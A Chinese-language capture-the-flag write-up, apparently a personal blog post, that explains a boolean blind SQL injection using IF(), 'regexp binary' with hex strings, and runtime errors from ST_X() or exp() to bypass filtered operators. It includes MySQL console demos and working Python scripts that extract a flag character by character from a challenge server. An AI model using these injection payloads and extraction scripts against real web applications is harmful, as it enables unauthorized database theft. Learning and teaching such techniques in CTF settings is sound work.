zoey

谷歌浏览器可正常显示图片

0%

无判断字符,基于运行时错误的bool盲注

判断bool盲注

测试?cat=1和cat=2,cat=10000000返回的都是cat.png,输出1’ 返回none.png,说明存在SQL注入漏洞。

输入-1,空格,union,sleep等返回的是none.png,通过不断输入测试,判断当输入的内容不包含过滤时,返回cat.png。输入含有过滤的字符时,返回的是nono.png,当输入的sql查询语句有误且不包含过滤字符时,返回空白页面(状态码为500的错误)。由此可以判断是Boolean注入攻击。

过滤空格想到可以用%09代替,但是过滤union尝试用uniunionon,UNion,和unio\x6e都没有办法绕过。

接着的想法是利用bool盲注,发现>,<,=,like都被过滤,也就是说不能够通过这些来判断我们输入的语句是否正确。

接下来需要考虑的问题是如何可以避免使用<,>,=,like进行bool盲注。到这里就卡住了,没有什么想法,发现if函数没有被过滤,就查看mysql中if函数的用法。

IF函数

IF(expr1,expr2,expr3),如果expr1的值为true,则返回expr2的值,如果expr1的值为false,则返回expr3的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
mysql> select sex,name from student;
+-----+-------+
| sex | name |
+-----+-------+
| 0 | name1 |
| 1 | name2 |
| 1 | name3 |
| 0 | name4 |
+-----+-------+
4 rows in set

mysql> select name,if(sex=0,'女','男')as sex from student;
+-------+-----+
| name | sex |
+-------+-----+
| name1 | 女 |
| name2 | 男 |
| name3 | 男 |
| name4 | 女 |
+-------+-----+
4 rows in set

mysql> select name,if(0,'女','男')as sex from student;
+-------+-----+
| name | sex |
+-------+-----+
| name1 | 男 |
| name2 | 男 |
| name3 | 男 |
| name4 | 男 |
+-------+-----+
4 rows in set

mysql> select sex,name from student;
+-----+-------+
| sex | name |
+-----+-------+
| 0 | name1 |
| 1 | name2 |
| 1 | name3 |
| 0 | name4 |
+-----+-------+
4 rows in set

mysql> select database();
+------------+
| database() |
+------------+
| oo |
+------------+
1 row in set

mysql> SELECT IF(length(database())>8,1, 0)from student;
+-------------------------------+
| IF(length(database())>8,1, 0) |
+-------------------------------+
| 0 |
| 0 |
| 0 |
| 0 |
+-------------------------------+
4 rows in set

mysql> SELECT IF(length(database())>1,1, 0)from student;
+-------------------------------+
| IF(length(database())>1,1, 0) |
+-------------------------------+
| 1 |
| 1 |
| 1 |
| 1 |
+-------------------------------+
4 rows in set

从这里例子我们知道,可以通过返回值的不同来判断bool盲注的结果,且盲注过程中if语句导致的查询结果的变化并不会导致数据库中的值发生变化,例如,在查询过程中我们把0变成女,把1变成男,但是在新的一个查询的,还是一样为0和1.

但是到这里还是不能避免使用>,<,=,like,通过阅读writeup,我们知道了regexp函数和binary函数

regexp函数和binary函数

regexp函数可以匹配正则表达式,而且regexp后面接的内容只要是前面mysql查询结果其中的一部分,就会返回1,否则返回0.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
mysql> select flag from flag;
+--------------------+
| flag |
+--------------------+
| flag{flag is here} |
+--------------------+
1 row in set (0.00 sec)

mysql> select (select flag from flag)regexp '^flag{f';
+-----------------------------------------+
| (select flag from flag)regexp '^flag{f' |
+-----------------------------------------+
| 1 |
+-----------------------------------------+
1 row in set (0.00 sec)


mysql> select (select flag from flag)regexp 'lag';
+-------------------------------------+
| (select flag from flag)regexp 'lag' |
+-------------------------------------+
| 1 |
+-------------------------------------+
1 row in set (0.00 sec)

mysql> select (select flag from flag)regexp '{';
+-----------------------------------+
| (select flag from flag)regexp '{' |
+-----------------------------------+
| 1 |
+-----------------------------------+
1 row in set (0.00 sec)

mysql> select (select flag from flag)regexp 'lf';
+------------------------------------+
| (select flag from flag)regexp 'lf' |
+------------------------------------+
| 0 |
+------------------------------------+
1 row in set

binary函数将值转换成二进制字符串, SELECT BINARY “ABC”=”abc”,这里的MySQL执行的字符逐字符比较 “ABC”和 “abc”并返回0(因为在字符逐字符的基础上,它们是不等价的)

SELECT “ABC”=”abc”,这里的MySQL执行的字符逐字符比较 “ABC”和 “abc”并返回1(因为在字符逐字符的基础上,它们是等效的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
mysql> SELECT BINARY "123abc";
+-----------------+
| BINARY "123abc" |
+-----------------+
| 123abc |
+-----------------+
1 row in set

mysql> SELECT BINARY "ABC"="abc";
+--------------------+
| BINARY "ABC"="abc" |
+--------------------+
| 0 |
+--------------------+
1 row in set

mysql> SELECT "ABC"="abc";
+-------------+
| "ABC"="abc" |
+-------------+
| 1 |
+-------------+
1 row in set

两个函数结合起来,跟regexp函数基本一样,但有些许不同,regexp后面接的是大写(查询结果是小写)也可以成功返回1,而regexp binary 不可以。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
mysql> select flag from flag;
+--------------+
| flag |
+--------------+
| flag is here |
+--------------+
1 row in set

mysql> select (select flag from flag)regexp binary 1;
+----------------------------------------+
| (select flag from flag)regexp binary 1 |
+----------------------------------------+
| 0 |
+----------------------------------------+
1 row in set

mysql> select (select flag from flag)regexp binary ' ';
+------------------------------------------+
| (select flag from flag)regexp binary ' ' |
+------------------------------------------+
| 1 |
+------------------------------------------+
1 row in set

mysql> select (select flag from flag)regexp 'a';
+-----------------------------------+
| (select flag from flag)regexp 'a' |
+-----------------------------------+
| 1 |
+-----------------------------------+
1 row in set

mysql> select (select flag from flag)regexp 'A';
+-----------------------------------+
| (select flag from flag)regexp 'A' |
+-----------------------------------+
| 1 |
+-----------------------------------+
1 row in set

mysql> select (select flag from flag)regexp binary 'A';
+------------------------------------------+
| (select flag from flag)regexp binary 'A' |
+------------------------------------------+
| 0 |
+------------------------------------------+
1 row in set

mysql> select (select flag from flag)regexp binary 'a';
+------------------------------------------+
| (select flag from flag)regexp binary 'a' |
+------------------------------------------+
| 1 |
+------------------------------------------+
1 row in set

无判断字符mysql查询

由此可知,我们可以利用regexp binary在不使用>,<,=,like的情况下,进行bool盲注。与前面没有被过滤的if语句结合起来,可以得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
mysql> select if((select flag from flag)regexp binary 'flag is here',2,3);
+-------------------------------------------------------------+
| if((select flag from flag)regexp binary 'flag is here',2,3) |
+-------------------------------------------------------------+
| 2 |
+-------------------------------------------------------------+
1 row in set

mysql> select if((select flag from flag)regexp binary 'flag is ',2,3);
+---------------------------------------------------------+
| if((select flag from flag)regexp binary 'flag is ',2,3) |
+---------------------------------------------------------+
| 2 |
+---------------------------------------------------------+
1 row in set

mysql>

因为'被过滤,所以binary后面不能带有',通过writeup发现把'里面的字母换成16进制也可以成功执行。

1
2
3
4
5
6
7
mysql> select if((select flag from flag)regexp binary 0x20,2,3);
+---------------------------------------------------+
| if((select flag from flag)regexp binary 0x20,2,3) |
+---------------------------------------------------+
| 2 |
+---------------------------------------------------+
1 row in set

bool盲注

到这里的想法就是通过返回的页面来判断是否输入正确,例如在mysql中的实验,输入正确时返回2,输入错误时返回3.但是在这道题中,只有三个返回页面,一个是输入cat.png,一个是nono.png,还有一个是返回空白页面(状态码为500)。如果我们还是使用select if((select flag from flag)regexp binary 0x20,2,3);来进行盲注,因为无论结果是2还是3都是返回正确的图片,因为返回错误图片是在输入含有被过滤的字符时,而不是在我们判断错误时返回(cat=0时返回的也是cat.png),所有返回nono.png这张图片是我们利用不了的。现在的问题是我们要通过返回cat.png和返回空白页面来判断bool盲注。

2

3

4

在这条sql查询语句中,select if((select flag from flag)regexp binary 0x20,expr2,expr3);我们需要返回cat.png的页面只需要让expr2或者expr3为数字即可。返回空白页面(状态码为500)有只有一种情况,当输入语句没有含有过滤字符且不能构成sql语句查询时。也就是说我们输入的查询语句在某些情况下可以构成正确的sql语句,在某些情况下会报错,不能构成正确的mysql查询语句。

继续看writeup,知道可以利用这些函数

1
2
3
4
5
SELECT IF({}, ST_X(ST_GeomFromText('POINT(mads)')), 0);
SELECT IF({}, ST_MPointFromText('MULTIPOINT (mads)'),0);
SELECT IF({}, ST_X(MADS), 0);
SELECT IF({}, ST_MPointFromText('MADS'),0);
SELECT IF({}, ST_GeomFromText('MADS'),0);

我们的目的就是sql注入mysql查询语句,在某些情况下该语句可以执行,在某些情况下该语句执行不了。

先查看这些函数的用法

1
2
3
4
5
6
7
ST_GeomFromText方法(根据字符串表示构造几何)

语法:ST_GemoFromText(character-string,srid)

character-string:包含几何文本表示的字符串,输入格式可以是任何支持的文本输入格式,包括标准文本(WKT)或扩展标准文本(EWKT)

srid:类型,interger,默认为0
1
2
3
4
5
6
ST_X 以 ST_Point 作为输入参数,返回其 x 坐标。在 SQLite 中,ST_X 也可以更新 ST_Point 的 x 坐标。

语法
st_x (point1 geometryblob)
st_x (input_point geometryblob, new_Xvalue double)
ST_X 函数可用于 SQLite 更新点的 x 坐标。在这种情况下,将返回 geometryblob。

ST_X是返回一个坐标的x坐标,所以需要用Point函数来传入坐标,ST_GemoFromText函数的作用是将返回的坐标变成字符串。当POINT传入的不是一个坐标时,语句也可以执行,只有当需要返回这个x坐标时才会报错。

我们可以通过返回的页面来判断bool盲注有没有成功,返回0或任何数字会出现cat.png,mysql查询语句报错会出现空白页面(状态码为500的错误)

然后发现只要传入ST_X(数字)可以达到一样的效果。也就是SELECT IF({}, ST_X(MADS), 0);只要传入的参数不正确,就可以达到我们想要的效果。

这里的ST_X等函数在低版本中运行不了

19

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
mysql>  SELECT IF(0, ST_X(ST_GeomFromText('POINT(a)')), 0);
+---------------------------------------------+
| IF(0, ST_X(ST_GeomFromText('POINT(a)')), 0) |
+---------------------------------------------+
| 0 |
+---------------------------------------------+
1 row in set (0.00 sec)

mysql> SELECT IF(1, ST_X(ST_GeomFromText('POINT(aaaa)')), 0);
ERROR 3037 (22023): Invalid GIS data provided to function st_geometryfromtext.
mysql> SELECT IF(1, ST_X(ST_GeomFromText('POINT(122)')), 0);
ERROR 3037 (22023): Invalid GIS data provided to function st_geometryfromtext.


mysql> SELECT IF(0, ST_X(ST_GeomFromText('POINT(1111 1111)')), 0);
+-----------------------------------------------------+
| IF(0, ST_X(ST_GeomFromText('POINT(1111 1111)')), 0) |
+-----------------------------------------------------+
| 0 |
+-----------------------------------------------------+
1 row in set (0.00 sec)

mysql> SELECT IF(1, ST_X(ST_GeomFromText('POINT(11 12)')), 0);
+-------------------------------------------------+
| IF(1, ST_X(ST_GeomFromText('POINT(11 12)')), 0) |
+-------------------------------------------------+
| 11 |
+-------------------------------------------------+
1 row in set (0.00 sec)

mysql> SELECT IF(0, ST_X(5), 0);
+-------------------+
| IF(0, ST_X(5), 0) |
+-------------------+
| 0 |
+-------------------+
1 row in set (0.00 sec)

mysql> SELECT IF(1, ST_X(5), 0);
ERROR 3037 (22023): Invalid GIS data provided to function st_x.


mysql> SELECT IF(0, ST_GeomFromText('a'), 0);
+--------------------------------+
| IF(0, ST_GeomFromText('a'), 0) |
+--------------------------------+
| 0 |
+--------------------------------+
1 row in set (0.00 sec)

mysql> mysql>SELECT IF(1, ST_GeomFromText('2'), 0)
-> ;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'SELECTSELECT IF(1, ST_GeomFromText('2'), 0)' at line 1

7

8

据此,我们可以编写判断我们的猜想是否成立,结果是成立的。

1
2
3
4
5
import requests
url = "http://47.98.234.232:28059/index.php?cat=1 and IF((select flag from flag) regexp binary 0x66,0,ST_X(111))"
r = requests.get(url)
print(r.status_code)
print(r.text)

10

到这里,我们可以通过bool盲注来判断我们的输入是否正确,但是,到此,我只能判断有哪些字符在flag中,不能按顺序把字符连接起来得到payload。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

import requests

def ord2hex(string):
result = ""
for i in string:
r = hex(ord(i));
r = r.replace('0x','')
result = result+r
return '0x'+result

url = "http://47.98.234.232:28045/index.php?cat="
tables = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-}{'
result=""
#for i in range(1,70):
for j in tables:
payload = "1 and IF((select flag from flag) regexp binary %s,0,ST_X(111))"%(ord2hex(j))
r = requests.get(url+payload);
if r.status_code==200:
print(j)

输出结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
a
b
c
d
f
g
l
0
2
4
6
7
8
9
-
}
{
[Finished in 7.7s]

到这里就又没有思路了,通过阅读writeup后的想法是,发现可以利用正则的^来按照flag实现匹配得到flag。这里的^表示匹配开始行。利用它,我们第一个字符只能匹配f,第二个字符如果跟第一个字符连接起来,就是^f?,这里的?只能是l,最终我们可以按顺序得到payload。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
mysql> select (select flag from flag)regexp '^a';
+------------------------------------+
| (select flag from flag)regexp '^a' |
+------------------------------------+
| 0 |
+------------------------------------+
1 row in set

mysql> select (select flag from flag)regexp 'a';
+-----------------------------------+
| (select flag from flag)regexp 'a' |
+-----------------------------------+
| 1 |
+-----------------------------------+
1 row in set

mysql> select (select flag from flag)regexp '^f';
+------------------------------------+
| (select flag from flag)regexp '^f' |
+------------------------------------+
| 1 |
+------------------------------------+
1 row in set
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
def ord2hex(string):
result = ""
for i in string:
r = hex(ord(i));
r = r.replace('0x','')
result = result+r
return '0x'+result

url = "http://47.98.234.232:28010/index.php?cat="
tables = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-}{'
result=""
for i in range(1,10):
for j in tables:
payload = "1 and IF((select flag from flag) regexp binary %s,0,ST_X(111))"%(ord2hex("^"+result+j))
r = requests.get(url+payload);
if r.status_code==200:
result=result+j
print(result)
break

执行这个脚本,有时候可以成功返回flag,有时候只返回flag{,师兄说因为{被当作了正则表达式里面的标记限定符,导致报错,但在本地尝试也没有报错

20

但是在执行过程中有时候会报错,有时候不会报错,如果报错就在花括号前面加入转义字符,实践证明,加上反义字符也可以正常执行语句。

13

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
mysql> select (select flag from flag)regexp '^flag\\{';
+------------------------------------------+
| (select flag from flag)regexp '^flag\\{' |
+------------------------------------------+
| 1 |
+------------------------------------------+
1 row in set


mysql> select (select flag from flag)regexp '^flag\{';
+-----------------------------------------+
| (select flag from flag)regexp '^flag\{' |
+-----------------------------------------+
| 1 |
+-----------------------------------------+
1 row in set
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
def ord2hex(string):
result = ""
for i in string:
r = hex(ord(i));
r = r.replace('0x','')
result = result+r
return '0x'+result

url = "http://47.98.234.232:28050/index.php?cat="
tables = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-}{'
result=""
for i in range(1,70):
for j in tables:
if j =="{" or j=="}":
j='\\'+j
payload = "1 and IF((select flag from flag) regexp binary %s,0,ST_X(111))"%(ord2hex("^"+result+j))
r = requests.get(url+payload);

if r.status_code==200:
result=result+j
print(result.replace('\\',''))
break

14

plus

plus与它的原题很相似,直接用原题的payload试试

1
2
3
4
5
import requests
url = "http://47.98.234.232:28059/index.php?cat=1 and IF((select flag from flag) regexp binary 0x66,0,ST_X(111))"
r = requests.get(url)
print(r.status_code)
print(r.text)

22

进行调试发现ST_X,ST_GeomFromText,ST_MPointFromText都被过滤,到这里也就没啥思路了。然后,看到大佬分享的一篇文章,SQL注入思考基于运行时错误的盲注,发现我们只要找到一个函数代替ST_X函数就可以,发现可以利用exp函数的参数在大于709的情况下会导致sql语句执行失败。但是mysql版本不同会导致不同的结果。

17

18

据此编写脚本测试会不会报错

1
2
3
4
5
6
import requests
url = "http://47.98.234.232:28014/index.php?cat=1 and IF((select flag from flag) regexp binary 0x66,0,exp(4444))"
r = requests.get(url)
print(r.status_code)
print(r.text)

21

最终payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
def ord2hex(string):
result = ""
for i in string:
r = hex(ord(i));
r = r.replace('0x','')
result = result+r
return '0x'+result

url = "http://47.98.234.232:28014/index.php?cat="
tables = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-}{'
result=""
for i in range(1,70):
for j in tables:
if j =="{" or j=="}":
j='\\'+j
payload = "1 and IF((select flag from flag) regexp binary %s,0,exp(1111))"%(ord2hex("^"+result+j))
r = requests.get(url+payload);

if r.status_code==200:
result=result+j
print(result.replace('\\',''))
break

参考链接

MySQL BINARY 函数使用

REGEXP_SUBSTR函数用法

SQL注入思考基于运行时错误的盲注